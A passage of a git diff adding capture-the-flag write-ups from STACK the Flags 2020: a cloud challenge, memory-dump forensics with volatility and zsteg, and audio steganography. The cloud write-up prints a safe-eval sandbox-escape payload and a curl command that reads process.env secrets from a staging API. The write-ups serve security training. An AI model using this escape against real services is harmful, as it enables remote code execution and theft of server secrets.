'{"age":"T2JqZWN0LmtleXMocGVyc29uKQ","salary":"MA"}'``` +```{"results":"code0"}``` +- Unfortunately, `person.code` is actually just the value of Pi, and our clues end here. + +### Git Good +- We have to find other clues in the challenge, and in the challenge description it mentioned something about a handle. +- This leads us to suspect that the engineer has a profile somewhere on the internet, and as a software developer the likley platform would be GitHub. +- A quick search on GitHub yielded a [user profile](https://github.com/c0v1d-agent-1) that has the same name as his handle. +![](image0.png) +- The user also had a repo with the exact name as the webpage, `tax-rebate-checker` +- Time to look at the repo! + +### Testing in Production +- The repo contains an `index.js` file, upon inspection seems to be the backend server code for the API gateway. + +```js +'use strict'; +var safeEval = require('safe-eval') +exports.handler = async (event) => { + let responseBody = { + results: "Error!" + }; + let responseCode = 200; + try { + if (event.body) { + let body = JSON.parse(event.body); + // Secret Formula + let context = {person: {code: 3.141592653589793238462}}; + let taxRebate = safeEval((new Buffer(body.age, 'base64')).toString('ascii') + " + " + (new Buffer(body.salary, 'base64')).toString('ascii') + " * person.code",context); + responseBody = { + results: taxRebate + }; + } + } catch (err) { + responseCode = 500; + } + let response = { + statusCode: responseCode, + headers: { + "x-custom-header" : "tax-rebate-checker" + }, + body: JSON.stringify(responseBody) + }; + return response; +}; +``` +- Nothing really out of the normal here, but we do notice the use of the `safe-eval` library which is prone to RCE as seen [here](https://snyk.io/vuln/SNYK-JS-SAFEEVAL-608076) and [here](https://www.cvedetails.com/cve/CVE-2017-16088/) +- Looking at the commit history, we find the frontend code that was removed from the repo, and sadly to find nothing again in particular. +- An interesting find was in the [Issues](https://github.com/c0v1d-agent-1/tax-rebate-checker/issues/1) tab of the repo, which had 1 issue that described a vulnerable library (should be referring to `safe-eval`) +- Thus, we should sent requests instead to the `/staging/` endpoint instead of the `/prod/` one used earlier, which now should not have the length restrictions. +- Creating and modifying our payload from common RCE payloads, then submitting the request, we obtain the solution to this challenge. + +Payload: `this.constructor.constructor("return process.env.flag")` + +Command: ```curl -X POST https://af7jsq9nlh.execute-api.ap-southeast-1.amazonawcom/staging/tax-rebate-checker -d '{"age":"dGhpcy5jb25zdHJ1Y3Rvci5jb25zdHJ1Y3RvcigicmV0dXJuIHByb2Nlc3MuZW52LmZsYWciKSgp","salary":"MA"}'``` +```{"results":"3nv_L0oK$-G$$D!0"}``` + +### Flag +```govtech-csg{3nv_L0oK$-G$$D!}``` + +### Learning Outcomes +1. There can be hints and clues hidden inside the challenge description itself, so do not spend too much time getting stuck on one part, but rather approach the challenge from a different angle. +2. Much trial and error is needed for this challenge, hence perseverance is very important to not give up and try until you get the results that you want. +3. Many other skills such as OSINT and Web/RCE are required for this challenge, it is always great to be well prepared for anything coming in your way and seek help from teammates whenever necessary. + + diff --git a/STACK the Flags 2020/Mitsuha/Cloud/2. Hold the line! Perimeter defences doing it's work/image0.png b/STACK the Flags 2020/Mitsuha/Cloud/2. Hold the line! Perimeter defences doing it's work/image0.png new file mode 100644 index 0000000..e125806 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Cloud/2. Hold the line! Perimeter defences doing it's work/image0.png differ diff --git a/STACK the Flags 2020/Mitsuha/Forensics/1. Walking down a colourful memory lane/README.md b/STACK the Flags 2020/Mitsuha/Forensics/1. Walking down a colourful memory lane/README.md new file mode 100644 index 0000000..e762927 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Forensics/1. Walking down a colourful memory lane/README.md @@ -0,0 +1,280 @@ +# Walking down a colourful memory lane [992 Points] - 6 Solves (Cat 3) + +``` +We are trying to find out how did our machine get infected. What did the user do? +``` + +We are given a memory dump, and hence the first thing is to pull out the **good ol' volatility** + + + +## Basic Analysis + +Let's first run a basic `imageinfo` to determine the profile. + +```bash +volatility -f forensics-challenge-1.mem imageinfo + + Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418 + AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) + AS Layer2 : FileAddressSpace (/mnt/d/Desktop/Stack the Flags 2020/forensics-challenge-1.mem) + PAE type : No PAE + DTB : 0x187000L + KDBG : 0xf800029fb0a0L + Number of Processors : 1 + Image Type (Service Pack) : 1 + KPCR for CPU 0 : 0xfffff800029fcd00L + KUSER_SHARED_DATA : 0xfffff78000000000L + Image date and time : 2020-12-03 09:12:22 UTC+0000 + Image local date and time : 2020-12-03 17:12:22 +0800 +``` + +Alright, so the profile is `Win7SP1x64`, let's continue by running a basic `pslist` to list running processes: + +```bash +volatility -f forensics-challenge-1.mem --profile=Win7SP1x64 pslist + +Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit +------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------ +0xfffffa8018dac040 System 4 0 86 572 ------ 0 2020-12-03 08:51:24 UTC+0000 +0xfffffa8019355b30 smss.exe 240 4 2 29 ------ 0 2020-12-03 08:51:24 UTC+0000 +0xfffffa8019f07950 csrss.exe 324 316 9 458 0 0 2020-12-03 08:51:25 UTC+0000 +0xfffffa8018db2060 wininit.exe 376 316 3 75 0 0 2020-12-03 08:51:25 UTC+0000 +0xfffffa8018db15d0 csrss.exe 388 368 13 611 1 0 2020-12-03 08:51:25 UTC+0000 +0xfffffa801a12c060 winlogon.exe 424 368 5 112 1 0 2020-12-03 08:51:25 UTC+0000 +0xfffffa801a12fb30 services.exe 480 376 7 207 0 0 2020-12-03 08:51:25 UTC+0000 +0xfffffa801a1797c0 lsass.exe 496 376 6 569 0 0 2020-12-03 08:51:25 UTC+0000 +0xfffffa801a17db30 lsm.exe 504 376 10 146 0 0 2020-12-03 08:51:25 UTC+0000 +0xfffffa801a1c7b30 svchost.exe 612 480 10 356 0 0 2020-12-03 08:51:25 UTC+0000 +0xfffffa801a1aa780 vm3dservice.ex 672 480 3 45 0 0 2020-12-03 08:51:25 UTC+0000 +0xfffffa801a234060 svchost.exe 708 480 8 285 0 0 2020-12-03 08:51:25 UTC+0000 +0xfffffa801a2592a0 svchost.exe 756 480 22 515 0 0 2020-12-03 08:51:25 UTC+0000 +0xfffffa801a2cf5f0 svchost.exe 868 480 15 370 0 0 2020-12-03 08:51:26 UTC+0000 +0xfffffa801a2fab30 svchost.exe 908 480 32 948 0 0 2020-12-03 08:51:26 UTC+0000 +0xfffffa801a331230 svchost.exe 252 480 22 770 0 0 2020-12-03 08:51:26 UTC+0000 +0xfffffa801a34cb30 svchost.exe 500 480 19 478 0 0 2020-12-03 08:51:26 UTC+0000 +0xfffffa801a3ee4c0 spoolsv.exe 1184 480 13 261 0 0 2020-12-03 08:51:26 UTC+0000 +0xfffffa801a408b30 taskhost.exe 1196 480 8 154 1 0 2020-12-03 08:51:26 UTC+0000 +0xfffffa801a4158a0 svchost.exe 1244 480 19 313 0 0 2020-12-03 08:51:26 UTC+0000 +0xfffffa801a51eb30 VGAuthService. 1448 480 3 84 0 0 2020-12-03 08:51:27 UTC+0000 +0xfffffa801a55f630 vmtoolsd.exe 1472 480 10 270 0 0 2020-12-03 08:51:27 UTC+0000 +0xfffffa801a4c4630 sppsvc.exe 1672 480 5 151 0 0 2020-12-03 08:51:27 UTC+0000 +0xfffffa801a643b30 WmiPrvSE.exe 1852 612 9 196 0 0 2020-12-03 08:51:27 UTC+0000 +0xfffffa801a6695e0 dllhost.exe 1912 480 13 185 0 0 2020-12-03 08:51:27 UTC+0000 +0xfffffa801a6ae380 svchost.exe 2024 480 7 97 0 0 2020-12-03 08:51:28 UTC+0000 +0xfffffa801a6ba060 msdtc.exe 1276 480 12 145 0 0 2020-12-03 08:51:29 UTC+0000 +0xfffffa801917f060 WmiPrvSE.exe 2264 612 6 206 0 0 2020-12-03 08:51:47 UTC+0000 +0xfffffa801a54e130 dwm.exe 2444 868 5 118 1 0 2020-12-03 08:51:58 UTC+0000 +0xfffffa801a3dd7f0 explorer.exe 2460 2432 32 905 1 0 2020-12-03 08:51:58 UTC+0000 +0xfffffa801a846b30 vm3dservice.ex 2548 2460 2 53 1 0 2020-12-03 08:51:59 UTC+0000 +0xfffffa801a8ceb30 vmtoolsd.exe 2556 2460 8 166 1 0 2020-12-03 08:51:59 UTC+0000 +0xfffffa801a91a060 SearchIndexer. 2704 480 13 648 0 0 2020-12-03 08:52:05 UTC+0000 +0xfffffa801a9bfb30 wmpnetwk.exe 2876 480 15 226 0 0 2020-12-03 08:52:05 UTC+0000 +0xfffffa801a9cab30 svchost.exe 2964 480 18 246 0 0 2020-12-03 08:52:05 UTC+0000 +0xfffffa801a5d27c0 svchost.exe 1240 480 13 332 0 0 2020-12-03 08:53:27 UTC+0000 +0xfffffa801a84e060 audiodg.exe 2376 756 5 126 0 0 2020-12-03 09:08:22 UTC+0000 +0xfffffa80199e6a70 chrome.exe 2904 2460 33 1694 1 0 2020-12-03 09:10:20 UTC+0000 +0xfffffa801a1d5b30 chrome.exe 852 2904 10 170 1 0 2020-12-03 09:10:20 UTC+0000 +0xfffffa801998bb30 chrome.exe 1392 2904 10 274 1 0 2020-12-03 09:10:20 UTC+0000 +0xfffffa801a91d630 chrome.exe 692 2904 13 225 1 0 2020-12-03 09:10:20 UTC+0000 +0xfffffa8019989b30 chrome.exe 1628 2904 8 152 1 0 2020-12-03 09:10:21 UTC+0000 +0xfffffa801a84cb30 chrome.exe 1340 2904 13 280 1 0 2020-12-03 09:10:24 UTC+0000 +0xfffffa801acbeb30 chrome.exe 1112 2904 14 251 1 0 2020-12-03 09:10:27 UTC+0000 +0xfffffa801acd8b30 chrome.exe 272 2904 14 239 1 0 2020-12-03 09:10:27 UTC+0000 +0xfffffa801acd1060 chrome.exe 1648 2904 13 227 1 0 2020-12-03 09:10:28 UTC+0000 +0xfffffa801acedb30 chrome.exe 3092 2904 13 212 1 0 2020-12-03 09:10:28 UTC+0000 +0xfffffa801ad0eb30 chrome.exe 3160 2904 15 286 1 0 2020-12-03 09:10:29 UTC+0000 +0xfffffa801ad3cb30 chrome.exe 3220 2904 15 295 1 0 2020-12-03 09:10:30 UTC+0000 +0xfffffa801ad3ab30 chrome.exe 3240 2904 13 218 1 0 2020-12-03 09:10:30 UTC+0000 +0xfffffa801ad8d060 chrome.exe 3320 2904 13 218 1 0 2020-12-03 09:10:32 UTC+0000 +0xfffffa801ad9eb30 chrome.exe 3328 2904 13 231 1 0 2020-12-03 09:10:33 UTC+0000 +0xfffffa801addfb30 chrome.exe 3380 2904 13 304 1 0 2020-12-03 09:10:34 UTC+0000 +0xfffffa801ad9ab30 chrome.exe 3388 2904 13 283 1 0 2020-12-03 09:10:34 UTC+0000 +0xfffffa801ae269e0 chrome.exe 3444 2904 13 231 1 0 2020-12-03 09:10:38 UTC+0000 +0xfffffa801ae2e7d0 chrome.exe 3456 2904 12 196 1 0 2020-12-03 09:10:42 UTC+0000 +0xfffffa801ae63060 chrome.exe 3568 2904 12 222 1 0 2020-12-03 09:10:44 UTC+0000 +0xfffffa801ae89b30 chrome.exe 3584 2904 9 173 1 0 2020-12-03 09:10:45 UTC+0000 +0xfffffa801aed8060 notepad.exe 3896 2460 5 286 1 0 2020-12-03 09:10:52 UTC+0000 +0xfffffa801aeb5b30 chrome.exe 2492 2904 12 171 1 0 2020-12-03 09:10:58 UTC+0000 +0xfffffa801af22b30 chrome.exe 1348 2904 12 171 1 0 2020-12-03 09:10:59 UTC+0000 +0xfffffa801af63b30 chrome.exe 3232 2904 12 182 1 0 2020-12-03 09:11:00 UTC+0000 +0xfffffa801af9d060 chrome.exe 4192 2904 12 168 1 0 2020-12-03 09:11:02 UTC+0000 +0xfffffa801afaf630 chrome.exe 4268 2904 12 171 1 0 2020-12-03 09:11:04 UTC+0000 +0xfffffa801afa6b30 chrome.exe 4324 2904 14 180 1 0 2020-12-03 09:11:04 UTC+0000 +0xfffffa801afbeb30 chrome.exe 4380 2904 12 179 1 0 2020-12-03 09:11:04 UTC+0000 +0xfffffa801ac4d060 RamCapture64.e 4832 2460 6 70 1 0 2020-12-03 09:11:24 UTC+0000 +0xfffffa80199c3060 conhost.exe 4840 388 2 50 1 0 2020-12-03 09:11:24 UTC+0000 +0xfffffa801ae055d0 dllhost.exe 4508 612 6 57728600 1 0 2020-12-03 09:12:23 UTC+0000 +``` + +Hmmm, there doesn't seem to be anything of interest here, other than a large number of chrome processes (aka a large number of chrome tabs open) as well as notepad.exe. + +Looking back at the challenge description `We are trying to find out how did our machine get infected. What did the user do?`, maybe there is a malicious process hidden somewhere? Let's run a `psxview`! + +```bash +volatility -f forensics-challenge-1.mem --profile=Win7SP1x64 psxview + +Offset(P) Name PID pslist psscan thrdproc pspcid csrss session deskthrd ExitTime +------------------ -------------------- ------ ------ ------ -------- ------ ----- ------- -------- -------- +0x000000007ebaa780 vm3dservice.ex 672 True True True True True True True +0x000000007e4ae380 svchost.exe 2024 True True True True True True True +0x000000007dd22b30 chrome.exe 1348 True True True True True True True +0x000000007e24e060 audiodg.exe 2376 True True True True True True True +0x000000007e443b30 WmiPrvSE.exe 1852 True True True True True True True +0x000000007df0eb30 chrome.exe 3160 True True True True True True True +0x000000007e31a060 SearchIndexer. 2704 True True True True True True True +0x000000007dc269e0 chrome.exe 3444 True True True True True True True +0x000000007e246b30 vm3dservice.ex 2548 True True True True True True True +0x000000007deedb30 chrome.exe 3092 True True True True True True True +0x000000007df9ab30 chrome.exe 3388 True True True True True True True +0x000000007df8d060 chrome.exe 3320 True True True True True True True +0x000000007debeb30 chrome.exe 1112 True True True True True True True +0x000000007eb2c060 winlogon.exe 424 True True True True True True True +0x000000007e6158a0 svchost.exe 1244 True True True True True True True +0x000000007e6c4630 sppsvc.exe 1672 True True True True True True True +0x000000007f389b30 chrome.exe 1628 True True True True True True True +0x000000007dda6b30 chrome.exe 4324 True True True True True True True +0x000000007e3cab30 svchost.exe 2964 True True True True True True True +0x000000007e31d630 chrome.exe 692 True True True True True True True +0x000000007f38bb30 chrome.exe 1392 True True True True True True True +0x000000007e9ee4c0 spoolsv.exe 1184 True True True True True True True +0x000000007e94cb30 svchost.exe 500 True True True True True True True +0x000000007e74e130 dwm.exe 2444 True True True True True True True +0x000000007ebc7b30 svchost.exe 612 True True True True True True True +0x000000007dcb5b30 chrome.exe 2492 True True True True True True True +0x000000007ded1060 chrome.exe 1648 True True True True True True True +0x000000007e2ceb30 vmtoolsd.exe 2556 True True True True True True True +0x000000007e931230 svchost.exe 252 True True True True True True True +0x000000007eb2fb30 services.exe 480 True True True True True True False +0x000000007f3c3060 conhost.exe 4840 True True True True True True True +0x000000007dc89b30 chrome.exe 3584 True True True True True True True +0x000000007eb797c0 lsass.exe 496 True True True True True True False +0x000000007e834060 svchost.exe 708 True True True True True True True +0x000000007df9eb30 chrome.exe 3328 True True True True True True True +0x000000007e7d27c0 svchost.exe 1240 True True True True True True True +0x000000007fb7f060 WmiPrvSE.exe 2264 True True True True True True True +0x000000007dfdfb30 chrome.exe 3380 True True True True True True True +0x000000007dcd8060 notepad.exe 3896 True True True True True True True +0x000000007dc2e7d0 chrome.exe 3456 True True True True True True True +0x000000007ebd5b30 chrome.exe 852 True True True True True True True +0x000000007e24cb30 chrome.exe 1340 True True True True True True True +0x000000007e4ba060 msdtc.exe 1276 True True True True True True True +0x000000007e75f630 vmtoolsd.exe 1472 True True True True True True True +0x000000007e608b30 taskhost.exe 1196 True True True True True True True +0x000000007e8592a0 svchost.exe 756 True True True True True True True +0x000000007ded8b30 chrome.exe 272 True True True True True True True +0x000000007dd63b30 chrome.exe 3232 True True True True True True True +0x000000007feab060 wininit.exe 376 True True True True True True True +0x000000007dd9d060 chrome.exe 4192 True True True True True True True +0x000000007e9dd7f0 explorer.exe 2460 True True True True True True True +0x000000007df3ab30 chrome.exe 3240 True True True True True True True +0x000000007df3cb30 chrome.exe 3220 True True True True True True True +0x000000007dc63060 chrome.exe 3568 True True True True True True True +0x000000007e8cf5f0 svchost.exe 868 True True True True True True True +0x000000007ddaf630 chrome.exe 4268 True True True True True True True +0x000000007eb7db30 lsm.exe 504 True True True True True True False +0x000000007de4d060 RamCapture64.e 4832 True True True True True True True +0x000000007e4695e0 dllhost.exe 1912 True True True True True True True +0x000000007e71eb30 VGAuthService. 1448 True True True True True True True +0x000000007f3e6a70 chrome.exe 2904 True True True True True True True +0x000000007e3bfb30 wmpnetwk.exe 2876 True True True True True True True +0x000000007ddbeb30 chrome.exe 4380 True True True True True True True +0x000000007e8fab30 svchost.exe 908 True True True True True True True +0x000000007dc055d0 dllhost.exe 4508 True True True True False True True +0x000000007fea5040 System 4 True True True True False False False +0x000000007ed07950 csrss.exe 324 True True True True False True True +0x000000007feaa5d0 csrss.exe 388 True True True True False True True +0x000000007f955b30 smss.exe 240 True True True True False False False +0x000000007e2b7060 chrome.exe 3672 False True False False False False False 2020-12-03 09:12:21 UTC+0000 +0x000000007e07b060 slui.exe 4908 False True False False False False False 2020-12-03 09:11:29 UTC+0000 +``` + +Hmmmm nothing out of the ordinary unfortunately... the 2 processes which weren't listed in pslist were merely because they had exited. + +I then decided to run various Windows Malware plugins such as `malfind`, `idrmoudles`, `svcscan` and more but to no avail... it almost seems like the malware didn't exist. + + + +## The Actual Solution + +Looking back at the challenge description once more, `what did the user do?` made me wonder... maybe the user downloaded something in chrome? Let's run the `chromehistory` plugin to check it out! (**Note:** I have removed the last 3 columns for this to fit into the page) + +*`chromedownloads` and other related plugins did not seem to return any output, so I will not be posting them here* + +```bash +volatility --plugins=volatility-plugins-master -f forensics-challenge-1.mem --profile=Win7SP1x64 chromehistory +Index URL Title +------ -------------------------------------------------------------------------------- ------------------------------------------------- + 14 https://www.google.com/search?q=smart+n...j0l7.3224j0j7&sourceid=chrome&ie=UTF-8 smart nation singapore - Google Search + 13 https://www.google.com/search?q=stack+g...9i59.5761j0j7&sourceid=chrome&ie=UTF-8 stack govtech 2020 - Google Search + 12 https://www.channelnewsasia.com/ CNA - Breaking news, latest Singapore, Asia and world news + 11 https://www.google.com/search?q=channel...j0l4.2634j0j4&sourceid=chrome&ie=UTF-8 channel news asia - Google Search + 10 https://www.straitstimes.com/ The Straits Times - Breaking news, Sing...news, Asia and world news & multimedia + 9 https://www.google.com/search?q=straits...0l3.74607j0j4&sourceid=chrome&ie=UTF-8 straits times - Google Search + 7 https://www.youtube.com/ YouTube + 6 https://www.google.com/search?q=hobbies...j0l6.3762j0j9&sourceid=chrome&ie=UTF-8 hobbies to pick up during quarantine - Google Search + 5 https://www.google.com/search?q=benefit...j0l7.2693j0j4&sourceid=chrome&ie=UTF-8 benefits of exercise - Google Search + 4 https://www.reddit.com/r/cybersecurity/...now_some_good_cybersecurity_youtubers/ Anyone know some good cybersecurity youtubers : cybersecurity + 3 https://www.google.com/search?q=govtech...j0l2.4169j0j4&sourceid=chrome&ie=UTF-8 govtech singapore - Google Search + 2 https://www.stack.gov.sg/ STACK 2020 + 1 https://www.google.com/search?q=stack+g...i457.4684j1j4&sourceid=chrome&ie=UTF-8 stack govtech 2020 - Google Search + 25 https://pastebin.com/KeqPRaaY htesttttttttttt - Pastebin.com + 27 https://www.reddit.com/r/singapore/ Singapore + 26 https://www.reddit.com/r/singapore/comm...ew_govtech_software_for_smart_thermal/ COVID-19: New GovTech software for smar...mercialisation and scaling : singapore + 22 https://www.google.com/search?q=stack+c...30l6.9304j0j9&sourceid=chrome&ie=UTF-8 stack ctf - Google Search + 21 https://www.google.com/search?q=govtech...57j0.2222j0j4&sourceid=chrome&ie=UTF-8 govtech csg - Google Search + 18 https://www.google.com/search?q=traceto...0l3j5.845j0j4&sourceid=chrome&ie=UTF-8 tracetogether token - Google Search + 16 https://www.google.com/search?q=govtech...99j0.1710j0j7&sourceid=chrome&ie=UTF-8 govtech singapore - Google Search + 15 https://www.google.com/search?ei=sCPHX9...ÿÿH9ÊHCøH…ÿtH9LJ H ý èoåAë 1ÀHØH øL‰"HØHƒÀH9õ„‡ + 8 http://www.mediafire.com/view/5wo9db2pa7gdcoc/This_is_a_png_file.png/file This is a png file.png - MediaFire + 24 http://www.mediafire.com/view/5wo9db2pa7gdcoc/ [!!!!] This is a png file.png - MediaFire + 23 https://ctf.tech.gov.sg/ STACK the Flags + 20 https://www.tech.gov.sg/cyber-security-group Cyber Security Group (CSG) + 19 https://token.gowhere.gov.sg/ Token Go Where + 17 https://www.reddit.com/r/singapore/comm...usive_inside_singapores_govtech_rapid/ Exclusive: Inside Singapore’s GovTech Rapid Deployment Unit : singapore + 15 https://www.google.com/search?ei=sCPHX9...huKCxq7tAhUu7XMBHSzLA8QQ4dUDCA0&uact=5 covid update - Google Search + 20 https://www.tech.gov.sg/cyber-security-group Cyber Security Group (CSG) + 5 https://www.google.com/search?q=benefit...j0l7.2693j0j4&sourceid=chrome&ie=UTF-8 benefits of exercise - Google Search + 9 https://www.google.com/search?q=straits...0l3.74607j0j4&sourceid=chrome&ie=UTF-8 straits times - Google Search +``` + +Hmmm... `mediafire`, now that's a file hosting website I haven't used in a long time. Maybe the user downloaded the malware from there! Let's check it out! + +After visiting the site, we get a ... *png* (not to mention how small it is)? + +I did not think much about the png at first since I thought we were looking for *real malware*. Hence I went back to the dump and dumped DLLs and more for several more hours with no luck :sweat:. + +After a wholesome 18 hours, I finally decided to relook at everything I have and decided to take another shot at the png. I then decided to run some basic steganography decoders such as LSBsteg and zsteg. When running zsteg: + +```bash + zsteg -a This\ is\ a\ png\ file\ \(2\).png + +b8,r,lsb,xy .. text: "gthsm0_d3B3" +b8,g,lsb,xy .. text: "oe-g3rRG3lz" +b8,b,lsb,xy .. text: "vcc{my3rnu}" +b8,rgb,lsb,xy .. text: "govtech-csg{m3m0ry_R3dGr33nBlu3z}" <----!!! +b8,bgr,lsb,xy .. text: "vogcetc-h{gsm3myr03R_rGdn33ulB}z3" +b8,rgb,lsb,xy,prime .. text: "h-csg{0rydGr" +b8,bgr,lsb,xy,prime .. text: "c-h{gsyr0rGd" +b8,r,lsb,XY .. text: "3B3d_0mshtg" +b8,g,lsb,XY .. text: "zl3GRr3g-eo" +b8,b,lsb,XY .. text: "}unr3ym{ccv" +b8,rgb,lsb,XY .. text: "3z}Blu33ndGr_R30rym3msg{h-ctecgov" +b8,bgr,lsb,XY .. text: "}z3ulBn33rGd3R_yr0m3m{gsc-hcetvog" +b8,rgb,lsb,XY,prime .. text: "3z}m3mh-c" +b8,bgr,lsb,XY,prime .. text: "}z3m3mc-h" +``` + +**Bingo!** and hence the flag is: + +``` +govtech-csg{m3m0ry_R3dGr33nBlu3z} +``` + + + +## Post Mortem + +- I shouldn't have left the png alone... Leave no stone unturned!!! +- I was actually hoping for real malware +- What zsteg seems to be doing is that it's extracting the Least Significant Bit (LSB) from the rgb planes... somehow... I guess you could also script this manually by using the PIL Python library, which is what my friends from other teams did, but I guess I got a lucky break using zsteg :smile:. \ No newline at end of file diff --git a/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/README.md b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/README.md new file mode 100644 index 0000000..d8b01c7 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/README.md @@ -0,0 +1,241 @@ +# Voices in the head + +## Forensics [1692] - 26 Solves + +_____ + +***We found a voice recording in one of the forensic images but we have no clue what's the voice recording about. Are you able to help?*** + +____ + +### Unorthodox Message (Spectrogram Analysis) + +_________ + +Listening to the audio recording gave us something reminiscent to that of birds chirping... but aside from that, not much else. + +To double check, `ExifTool` was used to ensure that there were no information hidden within the metadata of the audio clip. There was nothing of interest except for the following message: + +`Warning : Error reading RIFF file (corrupted?)` + +With this in mind, we move on to the next step of analysis: Spectrogram Analysis + +Information can be hidden in an audio file in quite a handful of ways, one of them being in the spectrogram. + +Putting this audio recording through [Sonic Visualiser](https://www.sonicvisualiser.org/), and then holding `SHIFT` and `G` to generate a spectrogram view of the audio reveals the following message: + +![SV](SV.png) + + + +Interesting. A Base64 code has been written inside the spectrogram of the file. + +Converting it to plain text using the `base64` command in a Linux terminal reveals the following link: + +```bash +$ echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vakVUajJ1VWI= | base64 -d + +https://pastebin.com/jETj2uUb +``` + +Note that if such tool is inaccessible, this [website](https://www.base64decode.org/) works great as well! + + + +From these clues, we expected this to be a [Steganography](https://en.wikipedia.org/wiki/Steganography) challenge. + + + +### Pastebin Madness (Esoteric Programming Language) + +_______ + +Going to this Pastebin page leads us to yet another code: + +``` +++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++++.------------.+.++++++++++.----------.++++++++++.-----.+.+++++..------------.---.+.++++++.-----------.++++++. +``` + +As we had prior experience with this language, we immediately identified it as [BrainF[FamilyFriendlyContent]k](https://en.wikipedia.org/wiki/Brainfuck), but for those who may not have seen it before, not to worry because Google can aid you in finding out the language. You just have to be specific in what you want to search. Below is an an example of obtaining the language link from a stack overflow website: + +![osintl](osintl.png) + +![stackoverflow page](stackoverflow page.png) + + + +Bingo, we can find the language using this way! + +[BrainF[FamilyFriendlyContent]k](https://en.wikipedia.org/wiki/Brainfuck) is an esoteric programming language that only uses eight commands and an instruction pointer to form the entire code. While understanding it could be interesting, we found an [online compiler](https://www.tutorialspoint.com/execute_brainfk_online.php) that could run the script for us, saving us some time. (Most esoteric languages will have online interpreters.) + +![tp](tp.png) + +Huh, it seems like this is a dead end. + +Let's move on. + + + +### A Pandemonium of Failed Attempts + +_______ + +This was where we had a major roadblock. Due to the disappointing `thisisnotaflag` message, we thought that something else must be hidden within the .wav file. + + + +Attempt #1 - The out-of-place bar + +We found this little bar within the spectrogram, and thought it was another secret code, but upon contacting the staffs, this was unintentional. + +![bar](bar.png) + + + +Attempt #2 - Comparison between a normal .wav vs this .wav + +We then dumped the SSTV .wav file from the Miscellaneous challenge and the forensics .wav file into HxD. HxD is a good program for looking at and editing hex values within a file. + + + +![forenwav](forenwav.png) + +Forensics .wav + + + +![miscwav](miscwav.png) + +Normal .wav + + + +We noticed that the forensics .wav actually had `01` along side `00` within the start of the file, while the normal one only has `00`. This could possibly explain why `ExifTool` warned that the file is corrupted. However, while this told us that something *is indeed* hidden within the audio file, we still couldn't think of the steganography tool used. + + + +### Solving the challenge with Xiao Steganography + +Eventually, the staff released a free hint for everyone, which was as follows: `Xiao wants to help. Will you let him help you?` + + + +With this, googling `Xiao Steganography` led to this [webpage](https://xiao-steganography.en.softonic.com/). Due to its overall 'shady' nature, I installed the program on an old computer that I no longer use as a precaution. + +Opening Xiao Steganography up and loading the .wav file in reveals the hidden ZIP file! + +![xiao1](xiao1.png) + +However, there is still a password field. + +We then look back at what we have so far: + +1. The Base64 code +2. The Pastebin Link +3. The Pastebin Link's author (Starrystarsisme) +4. The Brain[FamilyFriendlyContent]k code +5. The output of the code (thisisnottheflag) + + + +We made an educated guess and chose option 5. + +This generated a zip folder which can successfully be opened! + +![zip](zip.png) + +Unfortunately, this document is still password protected, and we do not have the password to it. + +However, running `strings` on this ZIP folder reveals something: + +```bash +$ strings zip.zip +This is it.docx +X)A2 +4q.P +. +[Omitted lines] +. +rwYT +=.+| +This is it.docx +govtech-csg{Th1sisn0ty3tthefl@g}PK +``` + +Judging by the previous message `thisisnottheflag` being a key for the steganography tool, we expected `govtech-csg{Th1sisn0ty3tthefl@g}` to be the passcode for the ZIP folder, and it actually is! + + + +This is it.docx + +``` +govtech-csg{3uph0n1ou5_@ud10_ch@ll3ng3} + +Clue to Forensic-Challenge-3: The registry path contains the words “covid”. + +The attacker like to use Bifid Cipher + +``` + +(Interestingly, the third line's font is white to make it invisible in front of the white background. Quite funny that we all ended up forgetting about it afterwards...) + + + +### Flag + +______ + +``` +govtech-csg{3uph0n1ou5_@ud10_ch@ll3ng3} +``` + + + +Whew, what a ride! + + + +### Learning Outcomes + +________ + +There are a few things that we can learn from this challenge: + +1. There are really many different steganography tools that hide data in different ways. As such, the best way to identify the type of steganography used is to practice as many challenges as possible. Places like [CTFTime](https://ctftime.org/) offer a great place to sign up for cybersecurity competitions which exposes players to many different types of challenges, including steganography! +2. Never give up, even if there seemed to be no way to figure out what is going on. While we did end up using the free hint to our advantage, the identification of the `00` and `01` could potentially be used for google searching to reveal the tool required. +3. Sometimes, the name of the challenge, the contents of the audio file, as well as the various clues throughout the challenge could also potentially be hints pointing towards the tool needed. See below for our theory. + + + +### The Connections... It all makes sense now! (Maybe) + +______ + +After solving the challenge, we had a revelation. + +Let's start with the title "Voices in the head". + +Usually when one has voices in his head, either he/she is thinking to himself/herself, or that it could be hallucinations. + +According to [MedicineNet](https://www.medicinenet.com/hallucinations/symptoms.htm), hallucinations could potentially be a feature of psychotic disorders and often have serious implications. + +However, there's still more. The audio from the .wav file sounds like birds chirping. + +In Singapore, some of the older people who speak dialects use this term called "鸟话" (niǎo huà) , which is a direct translation of "birds talking", or to be more colloquial, a derogatory term used to describe people who spout nonsensical words. + +Moreover, the pastebin used the language BrainF[FamilyFriendlyContent]k, which according to Wikipedia, means "things so complicated or unusual that they exceed the limits of one's understanding." + +There's still one more piece to solving the puzzle. The name of the steganography tool: Xiao Steganography + +Xiao is a homophone of "Siao", which is another colloquial term used in Singapore to describe a mad or crazy person. + +Piecing it together, we have: + +​ + +Voices in the head -> hallucinations -> mental illness -> "crazy" | + +Pastebin Language -> exceed the limits of one's understanding -> "crazy" |-----> "Siao" -> Xiao Steganography + +Audio sounds like birds chirping -> "鸟话" (niǎo huà) -> "crazy" | + diff --git a/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/SV.png b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/SV.png new file mode 100644 index 0000000..9decb26 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/SV.png differ diff --git a/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/bar.png 